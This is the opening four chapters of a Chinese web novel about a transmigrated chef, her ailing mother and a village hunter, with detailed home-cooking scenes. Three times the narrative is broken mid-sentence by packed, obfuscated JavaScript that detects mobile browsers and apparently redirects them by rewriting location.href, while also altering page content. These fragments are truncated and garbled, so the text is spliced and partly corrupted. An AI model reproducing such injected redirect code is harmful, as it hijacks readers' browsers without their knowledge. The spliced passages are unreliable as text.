《山间小记(美食)》 1. 第 1 章 二月,阳和启蛰,大地春回。 万物复苏的季节,连人也是…… 山亭村一处僻静之地,一女子正擦拭着额头上的汗滴,她的手边,是刚劈开的几块木头。 “安然,快些进屋吃饭。”一道温柔却略显虚弱的声音在女子身后响起。 “哎。”名叫安然的女子回头,带着笑回,“知道了……娘。” 女子拄拐,走进这不算熟悉的家。即使她穿过来已经三天了,但“娘”这个称呼,目前叫起来还有些拗口。 她所在的朝代,天下承平百姓富庶,市井喧阗商旅辐辏,中外也没发生什么大事,一切都挺好的。 唯一要说不好的点,就是她们家太穷了。穷得老鼠进来转一圈都得掉二两肉。 穷就算了,这具身体的原主人命运也多舛。爹早死,娘重病。家中最大的劳动能力只剩下她,结果就在三天前,她也没了。 正逢初春,俗话说春雷响,万物长,山间的野菜争先冒头,去得早的在山下就已经能收获满满一大筐,拿到镇上去,可卖个好价钱。 好东西可不等人。所以野菜这消息传到原主耳边时,早被同村人摘秃了。 原主后来进山没有收获,回到村里,心情沮丧正时,恰巧听见村口大娘传说在大山深处,有比山下的野菜更好更值钱的东西,能卖不少铜钱,但山上太危险了,还有老虎吃人,没几个人敢去。 人穷胆肥的原主听到后,转身重新上山。 结果可想而之,一个没有多少自保能力的,最多有些力气的女子,如何能在初春露水深重的大山内行走自如。 刚到半山腰,便一个不留神脚底打滑摔下了山。 好在跌落中恰好被枝干缠住,半个时辰后,凭借极强的求生意志坚持到被路过的猎户所救,只是扭伤了腿,人还活着。 但这姑娘因为伤口发炎没能及时处理,半夜突发高烧一口气没喘上来,人就过去了。 徐安然看着眼前毫不知情,还在门口唤她吃饭的原主娘,心中泛起一丝酸涩。 古代女子生存艰难,丧偶独自带娃的女子更难。这么些年,原主的娘压抑着丧夫之痛,以及被娘家一众人赶出家门至今不闻不问的惨状,现在好不容易把女儿拉扯大了,但女儿已不是之前的女儿。 徐安然对于自己占用别人身体这事儿,有些内疚,所以也不知道该怎么面对这个“娘”。现代时她在孤儿院长大,更不知道什么是母爱。 她叹了口气,初春傍晚的风些许刺骨,原主娘一直站在风口,咳嗽又加重了。 徐安然收起思绪,连忙道:“您快回屋坐着吧,我这就来。”她放下手中砍柴的工具,将砍好的木头垒好后,便朝屋内走去。 家里没炭,更深露重时,得在屋内烧些柴火取暖。可就连这柴火都不能随便烧,因为烧完了还得上山砍,又是一个耗费体力的活儿。 进屋后的徐安然没发现原主娘看着她砍下的柴火时露出的复杂神情,而是在愁,桌上这毫无食欲的饭菜要吃到什么时候…… 作为厨子,实在对清汤寡水下不了口。 她拿起筷子又放下,无声叹气间,似乎下定某种决心,她抬头问:“娘,咱家还有面粉吗?” 这三天她一直在床上养病,今天终于能下床了,见到苏清在砍柴,毫不犹豫地接过。所以她们家厨房里到底有什么,目前还真不知道。 “还剩下两斤。” 听到这句话,徐安然坐不住了。 “您先简单吃点,别吃太饱,我等会回来。” 她抄起一旁的拐杖走出屋子,左转就到了厨房。家里穷是穷了点,但也得吃好不是。两个病人再不好好补补,就一起过去了。 在厨房外,有颗高大的柿子树,每年都结果,她们家的部分经济来源也归功于这颗柿子树。 树下方有个石桌,三张椅子,天暖时她们会在这里吃饭。 厨房对面,是一块空土地,做了区分,左边被围了起来养了只母鸡,但还没长大。右边种的青菜,韭菜、豆角、黄瓜、番茄……除了韭菜,其余都不是初春季节菜,蔫了吧唧的,跟她这破败的家一样。 厨房里,徐安然舀了碗面粉,加水、揉面团,趁着醒发,到外边摘了个把番茄,几缕新鲜的韭菜。 洗了番茄切成块,切点葱段,拍两颗蒜剁成末。 家里没有油,但有一小块连着点瘦肉的猪的皮下脂肪。这是原主娘花二十钱托村里人从镇上买回来的,为了给她补身体。 徐安然利落地将其全切成小块放入碗中,在即将大展身手的时候,被烧火给难住了。 “也不知道原主会不会烧火……”这三天她一直小心翼翼的,话不敢多说事儿也不敢多做,就怕苏清察觉到什么。 可是…… 美食当前顾不得其他了。 她站在门口朝屋内喊:“娘,你来帮我烧个火呗,我这儿有些忙。” 苏清听到后并没有犹豫,放下筷子就来了。 可是当她看到徐安然将肥肉全切了时……有些心疼地说:“安然,这肉……是要留到明天煮汤喝的,今天已经煮过汤了。” 徐安然很尴尬。 “娘,答应我,以后不要肥肉煮汤了……”真的不好喝啊。她虽说从小孤儿,但也没吃过这么大的苦。 肥肉煮汤,岂能下肚。 苏清低下头,眼眶有些泛红,“娘没用,家里实在买不起瘦肉。” 徐安然连忙放下面团,走到苏清面前,拉着她的手认真道:“娘,不许你这么说,你能把我拉扯这么大特别了不起!我没有嫌弃您的意思,我只是……哎呀!反正您就帮我烧火,我前两天梦到一个特别好吃的煮面食谱。” 虽然觉得做梦梦见食谱有些离谱,但苏清还是帮徐安然烧起了火。期间,徐安然也在偷偷学习。 缸里还有一个鸡蛋,精准无误地被徐安然找到。与此同时,火烧起来了,徐安然直接将肥肉丢入锅中。 肥肉这东西怎么做都不好吃,但是榨油却是个好的,一斤肥肉能炼出7两油,够吃好久了。 炼油时,锅噼里啪啦响,赶紧示意在火边的苏清离远些。 她一手拿着锅铲,一手将蛋打进碗里,筷子搅和后,放些盐放在旁边备用。 油炼好后,将肥肉渣捞出单独放在碗里。 这炸猪油味道香滴很,特别是炸到焦黑的肥肉渣,已经没了肥肉那恶心的口感,拌上些盐,完全可以当做一道菜。 “娘,您先试试这个肥肉渣子。”她让苏清先吃,自己继续忙活。 猪油单独放进罐子里,锅里留下一些,油还热着,放入切好的番茄,炒到软烂,再加上两瓢水,盖上篦子,等水烧开。 期间,徐安然反复揉面,直到筋道。 苏清舍不得吃太多肥肉渣子,吃了两个,便要全部留给徐安然。 “您多吃些。我这次发烧过后,脑子清醒很多,我现在有很多个能赚钱的小法子,以后,我们母女俩的日子会越过越好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092698|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏清眼眸闪了闪,复杂地看着徐安然忙碌的背影,过了半晌,才回:“好,娘信你。” 锅里的水咕噜咕噜响,篦子间隙冒着白花花的热气。将篦子移开,她一手拿着面团,一手拿着刀将面削入锅中,筷子搅拌开,加一勺盐,再将篦子重新挪回去。 拉面什么都太费事了,刀削面,简单粗暴。 渐渐地,厨房内香气弥漫,再次等锅开,淋上搅拌好的鸡蛋,随着筷子一搅拌,鸡蛋瞬间凝固成形状不一的鸡蛋花,再加入葱花。家里没有酱油,也没有什么调味粉,但这并不影响面的麦香气在鼻尖萦绕。 对比这几天的吃食,这面堪称豪华。 徐安然将面分成两份,多的那份给苏清。不等她说话,自己先吃了。 苏清虽然也馋,但还忍着,“娘还没吃,你再从娘碗里多拿走一些,我年纪大,吃不了那么多。”说完,就要把面摊过去。 “哎。”徐安然将碗移开,“就是年纪大才要多吃呢。一口面一口肥肉渣,这个春天一点儿也不冷!” 母女俩站在厨房的灶台边,一人捧着一碗面,埋头大口吃,半碗下肚,徐安然这才能好好品尝起味道。 苏清也是。 她重重地将面咽下肚,随后惊讶地看着徐安然:“安然,你这厨艺真是从梦中学来?” 徐安然点头。 原主体弱,这种下厨的粗活苏清几乎不让她干。但原主识字,也写得一手好字,靠给书店抄书赚钱,每日偷偷写到半夜,眼睛都有些看不清了。 或许她好像知道,原主在山上摔跤的真正原因了……近视。 “真是梦里学的,我以前没下过厨,所以没发掘出我厨艺方面的优点吧,嘿嘿。”徐安然尬笑,她实在不知道怎么编这个谎了。 苏清却一点儿也没有怀疑。 “看来这一跤,还摔出了个因祸得福?” “嗯……或许哦。” 舀一筷子面,条上裹着青红色的番茄和软嫩的鸡蛋花,一口下肚,胃总算满足了。 没人能拒绝美食,即使是,她们这样吃了这顿愁下顿的穷人。 吃饱喝足,徐安然总算规划正事。 来这三天了,她对山亭村的地形也有了些许了解。 这里地理环境优越,背山、面海、向阳,便于耕种,也能就近捕捞,而且雨季防涝、冬季御寒,很适合居住和生活。这也是目前为止,值得庆幸的一点了。至少不是冬天大雪封山且没有存粮这样的天崩开局。 她们一家是后来的,原来住在西边的复民村,号称十里之内最富有,后来原主父亲决定放弃科考之路,家里人生气与之决裂,才搬到这里。 但当时山亭村内已经没土地可供她们建房,于是便在山亭村周边买地建了这栋小房子,一住就是十几年,没有邻居,只有间新建很久的房子,从未见过房子主人,不知是谁。 前两年,县令重新规划了山亭村的土地,将她们这一家也归于山亭村,这才逐渐跟村里人熟悉,也终于能享受到每年朝廷办法下来的粮食补贴。 徐安然从前做餐饮发家,所以即使穿越了,也还是想重拾老本行。她在现代都能把小餐馆做大做强,在这古代也依旧能。 但要开店,最基本要有的,就是本金。 本金哪里来,当然是自然产物丰富的山里了。于是趁着苏清沉浸在美食之际,徐安然冷不丁提出要再上山一趟。 如她所想。 苏清当即回绝。 “不行。” 2. 第 2 章 “娘,实不相瞒,我想做生意。但做生意就得有本钱,目前来钱最快的,就是山里的东西了。” “做生意?” “嗯,我是认真的。” 苏清垂下了头,叹了口气,好似早就知道会有这一天, “我早该发现的,你爹会做生意,他的女儿,一定也遗传了他的优点。” 早死爹还会做生意? 这事儿徐安然真的不知道。 “你还年轻,既然想,那就努力去做。去将山间那家店铺收拾起来吧,让你爹九泉之下更安心。” 接下来的时间,苏清讲起了徐大志的故事。 徐大志,年少有着宏图大志,会读书,也做得了生意。缺点是心肠软,信任错了人。他在茶馆生意最红火的时候,将钱借给了当初一起读书的同窗,结果那人携款跑到了汴京,徐大志气得都病倒了,没多久就去世了。苏清不会商贾之术,在徐大志下葬后,就将店关了。 “这些年,家里再困难,娘也没有将店铺卖掉,一是对你爹的念想,二是,想留给你做嫁妆。娘没本事,存不了什么钱,若有朝一日你出嫁了,娘希望这份地契能给你些底气,不被娘家人贬低。”她在这方面吃过亏,所以不想让女儿走她的老路。 徐安然没想到苏清能为女儿做到这份上。 不论是现代还是古代,地契永远是最值钱的,将店铺卖了,给自己治病,也不至于落下肺痨这个慢性病。 “娘,谢谢你。”这声谢谢,是替死去的徐安然说的,也是她心里最真实的想法。 “傻孩子,娘做这一切都是自愿的,也是应该的。不需要说谢谢。只是,娘想问你一个问题。” 苏清无比认真的语气,徐让安然有种不好的预感。 “娘,你问。” 苏清酝酿了好久,才缓缓问道:“以前的安然,是不是回不来了?” 徐安然知道会有这么一天,但没想到,苏清这么快就看出来了。是啊,母女俩一起生活了十九年,这个世界上除了徐安然自己,最了解她的人就是她的母亲。 “娘……其实,我不知道该怎么跟你解释,女儿还是您的女儿,但是灵魂,是另外一个人。”徐安然坦白地说。 她不是个藏着掖着的性格,一切都说开后,如果苏清能接受,她就能大展拳脚,不必遮遮掩掩。 如果不能接受……那她也能另外谋出路。 苏清听到她的这句话,脸色煞变,差点从椅子上踉跄跌倒。 她连忙伸手去扶,却被苏清躲开。 徐安然心都凉了半截。 难道她真的要流落街头了? 不过这也不怪苏清,自己目前占着她女儿的身体活着,当了几天有妈妈的孩子。只是不知道为什么,心里酸酸的,想哭。 正当她想拿着碗离开时,却被苏清叫住。 “还没吃完呢,去哪里?” “什么?”徐安然期待着心里那个答案。 “继续陪娘吃面,这么好吃的面,娘想一直吃。” 想一直吃…… 她听懂了苏清的言外之意。 “娘……安然还可以这么叫你吗?”徐安然闷闷地说,语气不自觉地带上了些委屈。 看她这小心翼翼的样子,苏清没忍住红了眼眶,“傻孩子,你就是我苏清的女儿啊。” 徐安然低下头,喜极而泣,而后抬头泪眼汪汪地看着苏清,“谢谢你,娘。” “好了,快吃。” 话说明白后,徐安然感觉到前所未有的轻松,终于不用压着本性做人了。 次日,她起得比苏清还早。 看着她这斗志昂扬的样子,苏清都不好打击她。 虽说是有那么一家店,但自从徐大志走后,她便很少去打理,即使每次去镇子上时,都会路过那间茶馆,但触景生情,一看到那家店,就想到了死去的丈夫…… 苏清还沉浸在自己的回忆中,徐安然却已经悄无声息地将早餐准备得差不多了,昨天煮面的面团还剩下一些,天气没那么热,放在厨房里也不怕变了味道。 往面团里加些水,再揉一揉,便恢复了当日的筋道。 昨天在看到家里的小葱时,她便想到了葱花饼。 热了些猪油,将切好的大葱下锅炸几秒钟后捞出锅,这样油就有了葱香味,这就是葱油。 将大葱捞出,只留下葱油,将葱油涂抹到揉好的面皮上,只涂一面,最后在涂着葱油的面皮上,均匀地洒上葱花。 沿锅扫上一圈融化的猪油,饼皮贴在锅边,一面成型后,再翻另一面,反反复复,直到饼子渐渐变得金黄,绿色的葱花渐渐嵌入面饼中,若隐若现,除了香,还有美感。 这是她首次烧火,运气不错,成功了,并没有烧焦。 金黄酥脆的葱花饼出锅,热乎乎的,不停地在手上变换位置,最终被徐安然放在碟子里。娘俩看着这个完美的葱花饼,苏清说:“这就是葱花饼?” “嗯!拿刀切成三份,够我们母女俩吃了。” 将切好的饼先递给苏清,处于对徐安然的信任,她想也不想地直接吃了。 刚入口,她便惊讶地看着眼前这平平无奇的、表面沾了这绿色葱段的饼子,这样一个卖相不算出众,而且口感干巴巴的饼,味道竟出奇地美味。 而且葱这样平平无奇的食材也能被徐安然做出花儿来,她信了徐安然有烹饪天赋。 “娘,你说,我做这样的葱花饼带到镇上去卖,会好卖吗?” “娘没见过这样的饼,可以试一试。不过,白面价格高,如果要卖这葱花饼,一定要将成本确认好。” 开店这件事目前不知能不能成,但摆摊卖葱花饼,许是有条出路的。 “有你这句话!我更有细心了。” 她故意将葱花饼做得很大。小的葱花饼,再怎么小,都得有一个巴掌大。既然这里的百姓都没吃过葱花饼,那么对于他们来说这就是个新鲜的食物,百姓们不一定会买单。这时就需要做得大一些,然后分成小块,就像酱香饼那样,买一点点花不了多少钱,一般老百姓都会舍得。 吃饱喝足,徐安然又问起了上山的事情。 她隐约记得,在她摔跤的地方,见到了几只竹鼠,这是一种啮齿类动物,主要以竹根、竹笋为食,所以那儿可能有一片新鲜的竹笋地。她想一探究竟。 但不出意外的,又被苏清拒绝了。 “你的腿伤还没好,哪能爬那么陡峭的山?不行,不许去。” “那我找人带我上山,如何?比如,村里的猎户。”她试探性问。 那天救下她的猎户应该经常上山,如果自己能找到他带自己上山,苏清应该会放心。 “那也不行!人心险恶,你一个女孩子,如何能单独跟一个男子上山?” “是那天救下我的猎户也不行吗?” 她不知道山亭村到底有多少猎户,但是那天救下她的猎户没有趁人之危,已经能证明他是个好人了。 苏清叹气,她看着徐安然:“不是娘不同意,而是你说的那位猎户,他从未带过任何人上山。村里很多人出钱,他都不屑于带,娘不想你白走这一趟。” 徐安然没想到,自己的发财计划居然止步于上山这件小事。 母女俩都沉默期间,门外响起了一道询问的声音。 “安然在吗?” 听到自己名字,徐安然迷茫地皱眉。 这三天虽然把村里的一些人际关系搞明白了,但一定还有她没能认识到的,就比如现在这道少女音的主人是谁,她压根不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092699|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是小柔来了。” “小柔?” “她是村长的女儿,平日里我们常受到村长的帮忙,你遇险那天,也多亏了小柔叫来大夫,才能及时为你处理伤口。” 她们家住得地方距离村民们很远,即使村里有大夫,以苏清的脚程,也得走很长时间。 那天猎户将徐安然带下山,正好碰见小柔在附近,才能及时就医。说来,小柔对徐安然有恩。 “原来是这样,那我去迎她。” 她拿起凳子旁的拐杖,一瘸一拐地走出门。 小柔见到已经能下床的徐安然,心中总算放心,因为这是周大哥救下的人。 “安然!你没事真的太好了,我听说你昏迷了几天,那天送你回来之后,我便去镇子上看望我阿弟了。今天才回来,想到你的伤,给你送来两个鸡蛋,好好补补。” 徐安然看着小柔带来的鸡蛋,哪里只有两个,足足有五个。她们家母鸡一星期都下不了五个蛋。 “不用,我好得差不多了,除了走路需要拄拐杖之外,没其他问题。我昨天还能劈柴呢。” 不只是现在的徐安然,以前的徐安然也不爱接受别人的帮助。 小柔叹了口气,好似知道她一定会推脱,接着说:“真的别跟我客气,你们家的情况我们村都知道,以前不要就算了,如今你都受伤了,说什么也得收下。阿叔在世时,对我也不错。” 小柔口中的阿叔,就是徐大志。 徐大志是村里极少懂得读书识字的人,县试第一,但彼时她娘已经怀孕了,读书要花的钱太多,于是父亲放弃读书的念头,在山间做起了生意,偶尔也会教村里的孩子读书认字,小柔就是其中一个。 所以她爹的人缘很好。 但人缘再好终归抵不过时间的流逝,这么些年,村里对她爹曾经的好早就已经忘记的得差不多了,只有村长一家还记得。 即便是这样,她依旧不想接受小柔的好意。因为接受容易,还的时候还不清。 她从小在孤儿院长大,又是个生意人,熟知这个道理。 不过…… “鸡蛋我真的不要了,如果你有时间的话,能跟我去一趟山上吗?”说完,徐安然觉得不太合适,于是换了句话,“或者,你认识那位救我的猎户大哥吗?我想请他送我上山一趟,搬点东西。我会给他报酬。” “周大哥我倒是认识,明日天亮后,我来找你,带你过去找他吧。周大哥每天都会起得很早上山打猎,所以我们也得去得早一些。” “好啊好啊!”徐安然开心得不行。她只是随便问问,没想到小柔还真答应了。 从她叫的那句周大哥来看,小柔跟那猎户大哥一定很熟。 熟人帮忙,再加上金钱报酬,应该没人会拒绝吧。徐安然美滋滋地想。 “好~那这鸡蛋……” 徐安然想了想,还是从竹筐里拿走两个鸡蛋,“两个就够了,我和我娘一人一个。” 见此,小柔终于笑了,她一口答应,“行!明天卯时三刻,我再来这里找你哦,不许睡懒觉哦!” “好,我在家等你。” 两个女孩定下约定。 对话被一旁保持沉默的苏清听了去,女儿是个犟的,这点跟她很像。 如果周家小子愿意带女儿上山,那安全问题可以放心。 “明天娘也跟你一起去。”她说。 “娘,还是算了吧,你这个腿脚,还不如受伤的我呢。而且,听你的意思,那位猎户大哥应该是个不喜欢麻烦的人,我去就行了。” “好吧,娘听你的。” 到现在为止,她一直认为,救她的猎户男子应该是位慈祥的叔叔。结果第二天刚到他家门外,门从里打开的一瞬间,她瞬间看呆了…… 3. 第 3 章 男子的扑面而来的硕大肌肉和男性力量,吓得徐安然往后退了一步。 没有训练痕迹,全是实打实的肌肉。 也正是往后退了一步,总算让她看清猎户的脸。 徐安然没忍住咳了一声。还是个皮相跟身材有反差的,清秀得很,金刚芭比,男版。但她不是颜控,这脸对她来说没什么吸引力。 “安然你没事吧?”听见她咳嗽,小柔关心地问,“早晨太冷,你也不知道多加几件衣服。” “我没事。”她故意的,爬山就热了。 得到她的答案,小柔这才重新将目光放在男子身上。 “周大哥。”她眼睛亮晶晶的,将被油纸包好的食物递到周时面前,“你吃早饭了吗?这是我娘刚烙好的饼子,你是不是要上山了?带着路上吃。” 周时没接,“不必,替我谢谢大娘的好意。” “不是的,这是我自己带给……” “这位姑娘是?”没等小柔说完话,周时便问起了一旁的徐安然。 话题就这样莫名其妙落在一旁等待的徐安然身上。她反手指着自己,眼神带着疑惑,心想:大哥,你前几天刚救了我,这就忘啦?什么记性。不过好歹是救命恩人,徐安然没有辨驳。 还没等她做自我介绍,小柔便迫不及待地说: “她是村尾苏大娘的女儿,平日不常出门,但是前几天安然在山里摔倒,就是周大哥带她下山的呀,你忘啦?” 小柔介绍完,竟觉得心里美滋滋的,心想安然这么好看的女子,周大哥都没印象,看来周大哥眼里所有女子都是一个样,她非常有戏! “哦,记起来了。有事吗?”周时语气没什么波澜,静静地看着徐安然。 虽然容貌没变,但她周身的气质变了,这也是他一时间没认出徐安然的原因。真的很难将那天哭得惹人烦的女子跟现在这个表情灵动的女子联想到一块。 “我想让你带我上山。就是你当初救下我的地方,不会去到深山之中,为了答谢,我会给你相应的报酬。”徐安然直截了当地将自己的需求尽数告知,然后等待男子回答。 不知怎的,周时居然没有跟往常一样直接回绝,倒是看着徐安然受伤的腿,“你行吗?” 顺着周时的视线,她看向自己受伤的腿,坚定道:“行的!不会拖你后腿!” 现代时,她经常爬野山,这次找人陪同,一是为了让苏清放心,二是听说山上有老虎,多一个对山里地形熟悉的人,就少一份危险。 看她这副自信的模样,周时鬼使神差地答应了。却也没忘记说价钱。 “十个铜板,我能保证你怎么上山就怎么下山。” 听到价格后,徐安然低头摸了摸自己的钱袋子,皱着眉头一言不发。周时以为自己要价贵了,本想改口说便宜些,结果徐安然松口答应了。 “行!就十个铜板,但你必须要保证我的安全,另外我还有个要求,我找到的东西,你得帮我拿着,毕竟我腿脚不方便。” 周时懵了,呆呆地问:“我还得做苦力啊?” “苦力?”徐安然笑得人畜无害,“周大哥,对于你这身肌肉来说,简简单单啦。” 周时憨笑地挠头:“这倒是。”在力气这块,村中第一。 “那就走吧,正好我现在就要上山了。”他说,“不过要先给钱。” 徐安然也不矫情,十分爽快地拿出荷包里的十个铜板递给他。收了钱后,周时立即变了态度。 还挺有职业操守。徐安然心想。 事情这么顺利,一旁的小柔都愣住了。 山亭村背靠五六座大山,就连进村的路都要走一段山路。 即便如此,但村里也没几个人能自如地在大山之中穿梭。周时是其中一个,也是最厉害的一个,所以平时不论男女,都有找周时带自己上山的,像徐安然这样花钱雇佣的也有。如果运气好打到一只野猪,拿到镇上去卖,足够一家三口半年的开销。 不过周时从未答应过他们的请求,除了住在他隔壁的李大爷,同样是猎户,但近几年李大爷年纪大了,很少上山。 这次小柔同样认为周时会拒绝徐安然。她有点私心,正是因为这样,她才会带着徐安然过来,因为只要见过徐安然的人,都夸她长得漂亮,她还识字,更引得人羡慕。只是平时徐安然不常出门,所以极少有人认识她,比如三天前的周时。 小柔有了些危机感,但她又觉得自己想多了……安然是她的好姐妹,她知道自己喜欢周时……小柔一路神游回到家中。 彼时,徐安然已经跟在周时身后一起上山了。 这个未知的朝代,民风比较开放。所以徐安然也不怕自己跟周时上山会被人口舌,毕竟当时下山的时候还是周时背着她下来的,到现在也没听见有什么闲话传出。 徐安然没觉得有什么,倒是周时有些不自在了。他始终跟徐安然保持着距离,这副做派,跟他的体格一点儿都不匹配。 “周大哥,你慢点走呀,我给了钱的,是不是得照顾一下雇主?况且我腿脚还不太好。”又一刻钟过去,徐安然喘着粗气说。这幅身体的体力实在太差了,锻炼这件事迫在眉睫。 周时这才反应过来,徐安然已经落后自己一大截,看着已经累到弯腰但依旧努力跟上她的女子,周时心里竟生出别样的情愫,他不知道自己这是怎么了,以前从未有过。但他知道终于停下,等人了。 徐安然这一路上简直太无语了,本以为多一个人跟她上山气氛会热闹一点,结果这男的一言不发,问问题也就是点头和摇头,偶尔会吐出一个语气词,比葫芦还闷。跟这样的人待在一起,真的无聊死了。 或许是察觉到了徐安然有些尴尬,于是周时难得跟她聊起了天。 “你这次去山上,是要找什么?” “竹笋。你咧,这次上山打什么?你这每天都上山,山里的动物见到你,不会害怕吗?还能打到新东西吗?” 周时一个问题换来徐安然三个问题,却也老实地挨个回答。 “也不是每天都能打到猎物,不过我每天都需要训练,爬山也是其一。” “我明白了,就是顺便的事呗。你救下我的那天是不是没猎到东西啊?” 周时点头,“那天就见到你一个活物。” 徐安然翻了个白眼,话说得好像她是猎物一样……不过倒也庆幸,“还好你没有猎到东西,不然就没办法带我下山了。” 如果周时没有碰巧路过,保不齐她已经被山里的老虎吃了,尸体都没得。 “即使我猎到东西,也不会见死不救。”周时无比认真地解释,仿佛要为自己正名。 徐安然终于走到他跟前了,点了点头:“嗯,知道你人好了,可以继续带路了,周大哥。” “我叫周时。时间的时。” “哦,但出于礼貌,我还是称呼你为大哥吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见没有危险,周时放下心来,但同时心里疑惑,这样涩又苦的食物能做得多好吃?引得她这么宝贝。而且剥完之后,能吃的部分少得可怜。跟肉一起炒,还毁了一整锅肉呢。 对于经常山上的周时来说,山里的一切动植物他都有一定的了解,所以竹笋这东西,他也不是没有拿回去吃过。 跟他的疑惑跟不解不同,徐安然看着眼前的笋跟看到金子一样。这些笋都是野生的,也可以叫做野山笋,个头虽然小,但每个都鲜嫩无比,那独特的笋香已经在她周身萦绕了,这样的笋,只要处理得当,用井水泡上三五天,就能泡透,不论是直接吃还是炒菜,都十分下饭,这简直是大自然的馈赠。 徐安然美美地想着,手上的动作不停,此刻她已经忘记了自己腿还没好,眼里只有对挖笋的渴望。 笋也分公笋和木笋,两根竹枝的是母竹,笋多;一根竹枝的是公竹,笋少,所以她只挖母竹附近的笋。 细密的汗珠顺着她的额间流下,她袖子胡乱一擦,未施粉黛的脸上沾了些泥土,也无暇顾及。 周时看着这一切,鬼使神差地走到附近想要帮忙,越靠近徐安然,心跳得越快,就连耳后根都开始红了。 徐安然只当周时热心肠,将一旁的拐杖递给他:“没工具了,凑合着用吧。” 周时:…… 其实他徒手挖,更快。 4. 第 4 章 看着周时徒手挖笋比她锄头挖还要快,徐安然心中感叹这十个铜板,花得简直太值了。 二人不知天地为何物地挖笋,身后的竹筐很快堆满了,直到溢出,徐安然才满意地擦了擦手。 见周时还没停下,她连忙阻止,“你别管光顾着帮我挖笋了,该打猎就去吧,这里安全,我就在这等你回来之后再下山。”她十分善解人意地说。 周时主动揽下她身后装满笋的竹筐,并且从兜里拿出一个骨制的哨子递过去,”我就在附近打猎,如果遇见危险,躲到安全的地方吹响哨子,我会第一时间赶到。” 收了钱,自然要保证徐安然的安全。 “行,你放心去。”徐安然欣然接受周时递来的哨子,她一个受伤的人帮不了什么忙,唯一能帮忙的地方就是不给他添乱。而且,她得趁这个时间好好想一想除了酸笋之外,还有什么不需要多少成本就能赚钱的食物。 等待的时间是很漫长的,再加上没什么娱乐项目,很快徐安然就困了。 来到这儿的三天,她都睡到自然醒,今天起得早,这会儿困意上来,怎么都止不住。 只是没等她打盹,身后就传来了窸窸窣窣的声音,徐安然以为是周时,高兴地转过头同时说:“你回来啦,我们可以回去了吗?我困死了。” 只是没想到,出现在身后的不是周时,而是一直通体发黑的野猪。 她也养过猪,从没见过哪一只猪,会抬头看人……并且眼神瘆人。好像要吃了她。 “我去……姐们儿点不会这么背吧……同一个地方要栽两次?”徐安然强装镇定,心里已经想过无数种逃跑的方法,但腿上传来的阵痛令她回归现实。 现在除了周时,没人能救得了她。 手里紧紧攥着的笛子起到了作用,她用力吹。结果…… 压根吹不响!! “搞什么啊!!” 前方的野猪看徐安然,就像看一盘菜,它缓慢地走上前,突然,它的视线穿过她,看着她身后。 “别害怕。”周时的声音在身后响起。像是打了一剂定心剂,她莫名相信周时能对付得了。 “嗯嗯,我没怕,我现在要去哪里啊?” “走到我身后,躲在树后面。”说完,周时就冲了出去,野猪受不得挑衅,见周时这么大胆,立刻转变目标朝他追去。 同时徐安然成功躲回树后,她没看周时是怎么暴打野猪的,她的心只在不远处的那筐竹笋上,别打翻了才好。 周时果然是优秀的猎手,一声延绵的嘶吼声响起,仅一刻钟就将野猪制服了。制服的武器,是他随身携带的短匕。 徐安然见猪没了动静,这才敢出来。 “躲得不错。”周时边清理匕首上的血液,边说。语气里满是欣赏,遇见野猪没有大叫,还能冷静地吹哨,在他战斗期间也没发出声音干扰。 “但是你说说为毛这哨子吹不响?” “要是能吹响,更会惹怒这头野猪,到时候你的处境会更危险。” 周时一脚踹上野猪死不瞑目的双眼。 “那既然都吹不响,你是怎么知道我这里有危险的?” “男人的第六感。” “周大哥,你觉得我会信吗?” “哈哈哈。”周时本来想要逗一下徐安然,但发现徐安然根本没那么傻,随后说了真话,“这个笛子能吹出声音,但很细,我听力好,对这笛子声音敏感,十丈之内都能听到。” 徐安然没想到还有这样的神器,也没想到周时这么厉害。 她又好奇地问:“你有没有内力?” 周时被她问得有些懵,挠了挠头:“内力是什么东西?” 她被这话打回了现实世界,看来这个朝代还是很正常的,没那么多无视牛顿的人存在。 “没什么,那接下来我们怎么处理这头野猪?” “扛回去。” “那我的竹笋怎么办?”她焦急问。 “先把你竹笋搬下山。”周时没有一句废话,活干得也利索。 谈笑间,只见周时猛地扛起看着两百斤重的野猪,气不带喘地走来,放在刚刚她躲过的树后。紧接着又走到不远处拔了一捆草,铺盖在野猪上。 她看呆了…… 这人力气真大。 如果之后能哄骗……不对,招回她店里帮忙,又能省一笔开店成本。 “你铺这些草有什么用呀?味道好臭。” “血封草,止血的同时也可以遮盖血腥味。我们下山期间不能确定是否会有其他野兽闻着血腥味赶来,这么做是为了保证这头野猪不被吃掉。” “谢谢,受教了。”徐安然也不跟他客气,上来一趟,已经记住了路,此时她走在前面,周时背着竹笋,跟在她身后。 于此同时,苏清刚从村长家出来。 今早徐安然跟周时上山时,过于高兴,即使上山会路过自己家,却还是忘了跟家中老娘打过招呼,苏清担心了好久。 所以,在徐安然兴高采烈地回家喊老娘时,迎接她的是双手叉腰,拿着扫帚站在门外的苏清。 